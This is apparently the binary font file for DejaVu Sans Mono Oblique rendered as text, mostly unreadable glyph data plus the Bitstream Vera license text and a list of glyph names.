��I���ʗH�����j7*��(,377#'#'547#5773%%�,ppsr,��'zzxz'�����9�8��4�?�����/9�9e5�>�:�����_��XyH���&*'$676#"'67667�	h5�X@!2^:H~]��(��#7NE��SR��QO�1�̡�L��H~��&77$7676&#""~EV*�(��	�:^�#D�89h���H܏����1�OQ����Sg��
!"&462264&"���1[륢�S4�fOsPOtOۨD/Y��R3B�PQqOOu�#\u		!	!h��
���i�/u���-1���x��Z	3%!#3!+���<�����������Zdd��dw��Y#3	!73#7����������<�������dZd����	3#�˪�5h����p�p��K	#3J�5��h���p��������'
�8
���
��'
�8
����5}	!!d#Z���D�Z��Z#Z���Z#���5}		'7!5!'75��Z��D��Z#��Z���Z�����5}	'7!5!'75��Z��!�Z��#Z�ߠZ#��Z��Z#R#Z��Z��,��V
$%��::�h����11����Q-,S�'�H���H({���
7676'�@�::�x����*11��Q�����S�'����(�4H	k�|�@Q�������e��l������H	'f����QM��H��8�e�u�#\u	h��
u���-Xqy�33#####533ܨ���������D��D��D����DXqy�333333#######5ʨ����ss�����r���D��D��D��D��D��D��P�/�3# ! % ! ��t���s����������_e�������;T���X�y�'Q$���X�y�'Q��W'Q�$�T�}�!!	����7J��771���!#	���78���8��1���!3	���������8���5	''!j���x����x�G��F5	!0��w�����x���F5	77!���x�GV��x�H���5	!��x�G��w�T�}�	!5	5!	��7��E��7J���ɩ�771���	#	#3	ک87�������8��F��8���w7!!!x�r�$��<���w!!!x�r���<���w7!!x�r�$��<���w%!!Y�r�$��<���w%	h�5��bc��J��6b�������w	���bc���6��6b�������w	!	����bc���6�b�������w!	���5��bc���6b�������w	
#)-17%#535#5#5#5##5'3#5#5#5#5#5##5##5###5��Zssss��V�rrrr�sZ�����Vr~�rZH��N���rrrrZZr�H��N��b�VrrrrrrV����L�� +;#"'&47!2#.+3 654'&#ō�ߥE-(��mP�c�JW3|�i.ic��g�3,>���jD�E�oQ�ك^n��hy�]�k7���% P0EL���� 73#7 '&7#"326�T�D��޸&��;X2Pٔkk;!ؔ�;!V����+���u'�A���Ҩz��5.���V�	##!!+732767-�]�r��"n���&mo���Z98'��������ij�>>��=�
%!#3!3�j�V����"�Ѳ��R�{����p� '#36 3265#"���:D�"�&��X2��ٔ�;!ؔlk;!}�f�����u�١��5.�yA���Ҩ��b�3!!#�w�!�������9V.`#3!rd�ڸY���`�9�M���h
'"27676'&'2#"'&7673WA�\j_,+:5�]d97�����^`5;�~� F?c%*9:e�;ˑ�Rh]��c[�����斘��,�m�Ks��eg�.��!#7#"&'732676&+732�+E؃Do/$2rI��(=c�ݳ�$�w"$�.*���gQ������H{"2>   676326��pJ�r�ҽp��-�p�T��T(n��I�^�[]�����-=����P@7'"]_$5��z�WXU�dY��	3#3)m��K�q���D�{�9;#"./&'&'732654&/.54!2.#"y@�Q!3?.E7@�52ed)b�p��X�e��J
P�_'Q�]��b�y����٢UO�#8$�H-�EB��RZ)!:�y�(&�;<�GX('2���p�����#7!7!;#".'&/&#�!��cO�$FJ(Q!r I[35-�5`�����o^�+7�&()6�?��p�`$36767#"'&7676?>7#7��� #`o%i�h�\[..piR642�2�T6J!	7�S#D�98``�LAB\VBT=;�����-;,,1Y7��X�y'Q�W���!##m��������#7!#��������o����3!3���V���������!733;�X��)u�$%#?>'./.76$32.#"�2�2"
&GI.�g�S%T�Ol�	 /II����{4<5/VV�L��89�CFnY1^5YV�e��*X3#	3���
���X��0X��[*X3#	3u��=
���$��dX��*X3#	39��y
����X���*X3#	3����
�������X���*X73#3#����������X���*X3##3����Ɉ
�X��0X��X3##3D����
�$��dX��X3##3���A�
��X�vX3##3̪��}�
�����X�:X%3#!#3������
���X�*X!#!!/�
y�X���X!#3!!/�
�<��X�̈��X!#3!!/�
�x��X����vX!#3!!/�
����X�d��:X%!!3I���
���X{���	3'#'�:�Yy�j��?��C��U��C-�U�	#'7374:�Y{�j��?��C���U�C����	3#3#7����G3f*�D��������	#73#73ހ���G3fR���o����UwD
b�~�d���37 !7 !7 � |W��|;�pO:$��-H�'�Ţ���cm���Z3�`!7 !7 !7 3T6��T��	)�~6�|����MY�����[�	7! �2L�P)j	*�����.1� ��V[{	7! �2L�P)j	%��X���.1� ����V��	+732767!#3!��&mo���Z98��׊�"�w)w��ij�>>��9��dT�VH!+732767654&#"#3>32�&ܥ���0�]W�!{�/�tK�b��
�Ӝ��
G'QW������ab�� ^4��X#%[Iw!7!7!7!�>��>�I�����`�3#�ʁX�2�q��e�����Q��1��0#�l�l��+�����c��V�!6#"3;#"'&7# 7632!7!3#�6M\kCY��KG&}=��&1�5&K��ߘ���K9��|~�jd��������������
!33###����_�>�����3��B�3)��*{3>323##67654&#"#� K�b��
j�U�8��]W�!{�`�ab�� /03��L�
G'QW����T��"#7>;!3#!#0�6D8
�#�~�v)v��ʋ�Չ�//&r1F����d�+�9��$�3!733##!##73!7��]UUxM��M�xTTn]�}}}\����rk\\~~?��$07 6762!3267#&'&'#"&76%"32676&6&#"&>
l��|
�
bm7�KG:�L	]��z>XsCXYsC4IVTT

Z��2fq fW
T���Rzxw{{wxz�[^cWa���%"32676&'6#">7.7>3%"���*)e���)*fo�88����8-�:G%	ߞ�"�(�g��������ڜ�����-��*/�1|��kI5b��@`

	:	�
���
�
	�����2��999991/<�2�<���2990KSX���9�����Y"3#'#"!#!##737>3/�-�J�__�۸��%�����&����Sec���/яN��b��@K	
:�	��	�


		����99991/<�2���2990KSX���9���Y"!#!"!!##737>��Ѹ��__)�پ����&���{Sec��/яN����T�#'-7>?67654'&#"06763237	e<Ti�10`a�e�m$icbOcp#$Ukq&'#3�1�����I��{VfFVlPQ^~QR89�B#$RJ887H[^AA[����������D	
!!!5!#3#3#!#�n!�7����`�dd��h��?��f3#��Мf�����@�����99991�<�20@OOOO____]K�TK�T[X�@��878YK�
TX�@��878YK�TK�T[X���@878Y3#%3#N�'���)�����?��[���1��0@))**//]]K�TX���@878YK�TX�@��878Y3#B�͠����R��@����91�<��<�9990@z









 



]]K�TK�T[X�@��878Y/&#"#>3232673#"&�"*&"6}#|U">##$(8} ~\79 32mn
6.mn��=�Y���91��0@//]]K�TX�@��878YK�TX���@878Y#����������]@	��91�<�90@///	]K�TX���@878YK�TX�@��878Y3#'#�՞��ј�������5�c@	��91��290@////]K�TX���@878YK�TX�@��878Y#373-՞��ї�
��/�mf@
��991����0'F#�ll�{Wm> #.#"�#� C9wVSRo{xz=5]8796{�m
@HH����1���20332673#"&wYRSlw#����m6978w{z���P"@	���991��0@	OO__]3#��(�P�c�k3#3#=���G���k�����c'k#!#V�������k������,0#7676?>7654'&'"#"7676323#/�! HK40	>2'@M*N=KL
|2!!#OJ;���2���bEBTY;X1-%#D�>Y<V3<LAB\VE'*=����i0@	���991��0!!V��0���45��!5!5�g��r�4��!5!�;��r�4��!5!�/��r^�s�2"&46"264hrL&'�◚�vURyV�P%`8n���|TyRTv?F�3#%3#?���������V��33+732767#'�Yܹ��%nn���Z:=��ܹ��i��ij�>H�i���s�	^@/	:SQ
����99991/��0KSX�9���Y"#73#3B�1��ˁX�1��+�e�������!�@J !!!:S WYce Q" 		!	!	"�����9991������9990KSX���9�Y"33267#"&546?>7#73��PojUGodO�j%l�e��b�hT=��1�D�]�]YHo8JRGB�98�~^�lVFfV��������
Iu^�k�O�_<���+���+�����m�����d�h��sR��!��u��X�/bb{��\�)?X�XXXF��s��5\N��9��N���R3R�P�R����d�H�H;�wb;T=Z7��Tu��b�s�}�\����N���X�{���/d��JX/�+X3?��}��\�R///��������������os55559999����RRRRR�PPPP�37HHHHHH���bbbb====wTuuuuuX/}}}}������H��H��Hs�s�s�s���w��w5b5b5b5b5bN;N;N;N;��T��,9=9=9=]A9=����ZN7N7N7N7��X��T��T��T��(}RuRuRu#���3�ssss������P}P}P}P}P}P}R\����N��N��N;T,Di0C��Hdv�3tH��G'G��97��T���%�c}t��*}x	I����o�����MX���
X�������A��r�vs��H9=RuP}P}P}P}P}pH��H�o��N;��ZRuRu��N;����T�o��/��H��H5b5b9=9=RuRu��P}P}s��"R��T��4���H5bRuRuRuRu��*	�B��x�x��������x��������vo�0U��QCp��{B�����J�yk��%N2�Y�DC!A �E�c��g��00

r)��c���@��a�������~D��#'�8[^az 4N�"x�������QD� H.��z[]*�������fV������h'�O��/y�w������/�"���[�����?����w������*������?'�����.l�vf5P _�����4��:u@0h<����x4�r��������V�U�U��?������Q��������E��5����t9���������R��3����t����9�E�|��E��A_��|��8����uH%�{��t�2��u�2��9��9q������\�H1v�
����t�73��s����s55PEp99��\��"K��&��E�q5�~�������s���R��3s�&0�����������3��HGd���b��BVV����VuV���1��I��+���n��Xa��;bbs��s==����JV��rfnt�E�EsE��~���B����V��s��+��������T9�~�����VE�_��H��H�o��5btptp�~���B����V��VRut�t�a&��&��&����������H�RbR\:��sL@�������2�/L��8�8mW����S(-8��,��R	V���'}�5]+b]7�������J�N]+o&��5Nv\9wJ-#]�,��u���\>��2N��i=0H�>��M& 2
��-7��Ck��(��TTTT�'@���E_<���{^,UTSX"�W[Y"QK��^��lN)KU\3[]&_HLIS"-=#R�s�si
����+V+��������������A)&�%$**?
�+.444D+��#?[+#I���3-*%3>*&�/��t��
[�-%����6P	�%��H;;;s���w��w��h��w��:5H5>5b\N;��T��T��T�?�b��T00��Z��Z��ZN N NhN:�������T��T��T��:Ru3��3�����hsss����hh::P_00::P}����R\R\R\R\R\�����������N��N��NT�\��_��H��H��H��H5b5b5b9=RuRu��������P}���������������EEEEEEEE��������^�|���������������K�i||||||||�������������8jj��������K�i�f�^uuuuuu��������������^������22222222������������^EE��||��uu��22EEEEEEEE��������^�|����[[[[[[[[�����������22222222������������^EEEEEEE����������2�2��[[[|[�;���	�Q��8j�������99�m��j������%%����	������22222�T�T����?d//�����������)�;??����Z�8�5=?M�����x?'a?4baAa��a\34baAa��)%.�$�
��"DQNN9-.��	��w��!�
3<����gp��	t:TTJ�yB%0������////////////////BBB����BBYYBBBBBBBBBBBBq�����?QQ2BXXBBBBGB*BB*B*BBBBBBBB����BBBBBBBB�B�������BEE�B*BBBBBBBB%u���I��������������XX�+?;;;�)}}�����?5����XJWXXXXXXXXXXXXXXXWXXXXXWJJXXXXXXXEXXXXXXVXVVVVWXXXXVVVVVVVVVXVVVVVVXXXXXXXXXX��XXXX^^OOOOOOOOPPPPPXXXXXXXX��i�X����ZZXXVXVVVVXXXXVVVVPIr�������%
%
Xa��GX++|h}2HXXXBBX%XXX%XX���X?�XXXX%XXXX6�F�FHRFFF��:����<<�<<�����������������������������������������������������������<<��xxx����xx����xx������������������������h���h���������������������i��F��i������i�����DD��������u77�����7777?��aa��"!!!!���G�CL���2�1r�jD�7X�~uxw���
������,{��uXXP�XXT11����T1��L������VM�zY���X���)�[������������{-��U�3��TX[������)T�?abb���?�?����/�����^?���DDDD����@p�,� x��0	�

��H

�@�H� d���|`��8��T�ddX�t8 8!l!�"�#0$T%%�&&�&�'<'�'�'�)|*�+,$,�-�.�/�0�181�2�3�4�5d6l7X89\:(;;�<�=l>8>�?�@ AhA�A�B|CXD<EPFPF�G�HlI�J�KK<KlL�MM�M�N�OlO�P�Q�Q�Q�RhSS�S�S�S�T�T�UU U8UPVXW8WPWhW�W�W�W�W�W�XX�YY Y8YPYhY�Y�[[4[L[d[|[�\t]�]�]�^^^4^L`�`�`�`�`�`�aa,aDa\b�b�b�b�b�b�ccld�d�d�d�d�d�fff0fHf`fxf�f�f�f�f�gg g8gPghg�g�g�ii(i@iXipi�i�i�i�i�jjj0jHj`jxj�j�j�j�j�kHk�k�k�lll4lLldl|l�mmtm�nnn4nLn�n�n�n�n�ooo0oHo�p�p�qq q8qPqhq�q�r`rxr�r�r�r�r�s�u�u�u�u�u�u�vv(v@vXvpv�v�v�v�v�www0wtw�w�xx(x@xXxpx�x�x�x�x�yyy0yHy`yxy�y�y�y�y�zzDz�{h{x{�|H|�}$}�~~~�~�P��@���0�|�������h����X����P����\������l���X���d���d�t���X����H�d�����P����T������������l���@�������0�@�X�p������������ �8�X�p������������(�@�X�p�������������0�H�`�x�����0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0���d�|���<�������4�L�l������������$�<�T���X������\���T���$�x� �x���T�����X���,�����|���l���l���@�����$�������x���l���(�t���p����<���,�h��t�������\����l�$����l���0�����,������4�����`�����l���\������0„���X���Tĸ�Ŕ� ƨ�<����tȬ���\���P��ˬ�\�͸΄�$��� Ј���D���$Ґ����X��4�p԰���@�PՐ���4֘��pנװ�������@�\�p؄ش������٤��4�Dۄ������X�|ݨ����$�4�D�T�d�tބ޸���,�l�|�����P�`��������8�d������� �D�������H�d�����p����d�t����@����$��H�X�h�������0�h����<�������(�H�d�t���������� �8�P�`�x����������(�8�d�t�����$�H�X�h�������� �0�����`�������4�L�d�|������H���t�������d����T���@�����\���L���@�X�p�������@���0�H�`���h��|��d��d��t�h��t�\l|����4L�hx���	$	�

$
<
T
�
�
�,���8P`����


$
4
�L��l�|�Tdx��`p���P����� ���4h��`������,DT�,����l���H��(��Ph��  P � �!!$!<!p!�!�!�","l"�"�#d#t#�#�#�$ $�$�%4%d%�%�%�%�%�&& &0&H&`&p&�&�&�&�&�&�'' '0'H'`'x'�'�'�'�'�'�((((@(X(p(�(�(�(�(�))t)�)�***$*4*D*T*d*�+H+�,$,�--4-�.D.�//</�0h0�1$1�242�33�44�4�5x5�6�77`7�8l8�9�9�:D:�:�;�;�;�;�<8<H<�<�=t=�><>�>�?P?�?�@�AAHAlBB�B�B�C�DD�E$ETE�F8FHF�GhH8H�H�II�I�JJ$J�K<KLK�LLLtL�MTM�NxO8O�PDQQ�RR�SS�T$T�T�U�V�W W�XX�YPY�Zl[4[�\�]P]�]�^\^�^�__p_�`,`|`�aDa�a�b(b�b�ccDc�d8d�e�ff�gXg�hPh�i\i�jXj�kxk�l�l�mhnn�olpp�q(q�rPr�sPttxuu�v�w0w�xTx�y�z<z�{L{�{�|X}@}�~@|��,����� �����,�d����<��������L�������4�����<�x�������`���T���d�������������H�����(�����P���$�L�`�t�����0�@�����X���\������������<�|�����\����� ���\���L�|��������H���@������h���@����������,�D�\�t������������(�@�X�p�������������8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�x������������(�@�X�p�������������4�P�h��������������(�@�X�p������������(�@�X�p�������������0�H�`�x������������ �8�P�h�������������� �8�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x���������������(�@�P�h�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�pˆ ¸������� �0�X�hÀØð������� �8�H�`�|ĔĬ���������4�L�d�|ŌŨ������� �0�H�`�xƐƨ��������(�8�P�hǀǘǰ���������(�P�P�P�P�P�P�P�P�P�P�P�PȀȐ����8�pɌɤ��Xʰ���t�̤���p�HΈΤ�T�TР������$�@�\�|����(Ӱ����0�dԀԜԸ��մ��֤� ����ؠ�@�pٌٴ���$�tڈڜڰ���������(�<�P�d�xی۠۴���������,�@�T�h�|ܐܤ� ��ބ���D���h�h�D���\�t����(����,���D������D�� ��p����8�|� ���H����D�����<��������(�H�h��������(�H�`��������H������8�d����� ���p����H������L������L���`�$��`��L����L�\(Px���8��4|�T��	4	�

T
�
�p�L��

L
�
�H��,t��8x��,��4��\��8�(x�\�T��$t���8��LD�xp    d � �!!\!l!�!�!�""�##|$@$d$�$�$�$�%`%�&,&�'�'�'�((,(D(|(�(�)()�)�*P*�+<+�,L,�-�.�/<000�0�1�2$2<2\2|2�2�3$3�3�444t4�55H6,6�7<7�7�8P8�8�9L9�9�:0:�:�;P;�<<p<�=p>>�??D?�@P@�@�A,A�B(B�C C�C�DD�D�E@E�FF�GGlG�HHlH�I@I�I�JJ�K�LPMM�N�O�PLP�Q@QxQ�RR8R\R�R�R�SS@SxS�TTHT|T�T�U@UxU�V,V�V�WHW�W�XX�YY�ZZTZ�Z�[h[�\�]0]h]x]�]�^^,^`^�^�^�__0_X_�_�_�_�`D`T`�`�a4bb@bdb�b�b�cctc�ddhiixi�i�i�j@j�j�kk�ll,ldl�l�mmTm�m�n,nxn�oXo�o�p$ptp�q,q|q�q�rHr�ssPs�s�s�tt$t<t�t�t�u(uhu�u�u�u�v�v�wwwHw�x�yyTy�zDz�{{P{�|4|L|�|�|�}�}�~P~���������L�����0�L��������0�L�p��������\�������@�t������4�P�l��������H�������D��������� �D�h����������<�\�|��������<�h��������<�d��������@�h��������8�d��������4�\��������4�h������8�l������L��������P�t������� �H�t������,�`��������D�x����� �P�������(�h������T�����$�T���������0�L�h������������4�\������������,�H�d������������(�D�`�t�<���l��������������8�\�p���������H�`����H���X����@�\��������� �<�d����������<�X����������(�T�p���������0�t��T�����d��P�����P����\�������`����4�`�������@�\�x������� �L�t�����$�P�x����X�����L���8������(�T�p���������@�����P�h�(Ĩ�$Ű��t���$Ȕ�4�|����4�d̄��� ̈́���4΄��(ό���<�xд����@�\�xѨ���$�lҴ����<Ӏ���$�4�L�lԔԼ����<�hՔ����(�T�|֤����4�d�ؘ��dٜ��4�`���@۸����ܠ�݌ݤ������0ެ����<�hߐ߼����@�h������(�X������D�����H�������D�T����l�����T�`�<�<�<�<�<��� �<���h�����L�����@�l��<�X�t�����P������
�+j@�P_�Bc��V��
	�%4 #	�	  	S	0k	0�		,(	"m	:�	
&�	h�Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
DejaVu Sans MonoDejaVu Sans MonoObliqueObliqueDejaVu Sans Mono ObliqueDejaVu Sans Mono ObliqueDejaVu Sans Mono ObliqueDejaVu Sans Mono ObliqueVersion 2.37Version 2.37DejaVuSansMono-ObliqueDejaVuSansMono-ObliqueDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
Fonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/License���~Z
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

� !"#$%&'()*+,-�./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�����������������������������������������������������������������������������������������������������������������������������������������������	

 �!"#$%&'()*+,-./0123456789:;<=>?@A�BCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�����������������������������������������������������������������������������������������������������������������������������������������	

��� !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	��	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y��
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DFuni01E0uni01E1uni01E2uni01E3Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F4uni01F5uni01F6uni01F8uni01F9AEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0221uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0243uni0244uni0245uni024Cuni024Duni0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C8uni02C9uni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D6uni02D7uni02DEuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02EEuni02F3	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
